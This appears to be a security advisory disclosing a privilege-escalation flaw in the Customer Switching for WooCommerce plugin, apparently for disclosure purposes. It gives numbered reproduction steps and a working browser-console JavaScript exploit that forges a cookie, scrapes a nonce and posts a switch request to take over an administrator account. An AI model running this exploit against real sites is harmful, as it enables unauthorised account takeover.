Customer Switching for WooCommerce < 2.1.3 – Customer+ Privilege Escalation to Administrator via Insecure Operator Resolution | CVE 2026-15240

Description

The plugin does not securely bind an active user-switching session to the operator who initiated it, allowing a lower-privileged account that an operator is currently switched into to be resolved as that operator and to switch into any permitted account, including an administrator, resulting in full account takeover.

Proof of Concept

1) As an administrator, switch to a low privileged user such as a customer and don't log out.
2) As the customer (same one the admin switched to), login to the site.
3) As the customer, run the following in browser console with a valid admin ID to switch to the administrator for full account takeover. 

```
(async (TARGET_ID) => {
  document.cookie = 'user_switching_for_woocommerce_=anything; path=/';
  const page = await (await fetch('/', {credentials:'include'})).text();
  const nonce = (page.match(/id="usfw_kro_nonce"[^>]*value="([^"]+)"/)||[])[1];
  if (!nonce) return console.error('No nonce → precondition not active (no operator currently switched into this user).');
  const res = await fetch('/', {
    method:'POST', credentials:'include',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body: new URLSearchParams({action:'usfw_user', 'usfw-nonce':nonce, change_to_user:String(TARGET_ID)})
  });
  console.log('switch status', res.status, '→', res.url, '— reloading as user', TARGET_ID);
  location.reload();
})(224345507);
```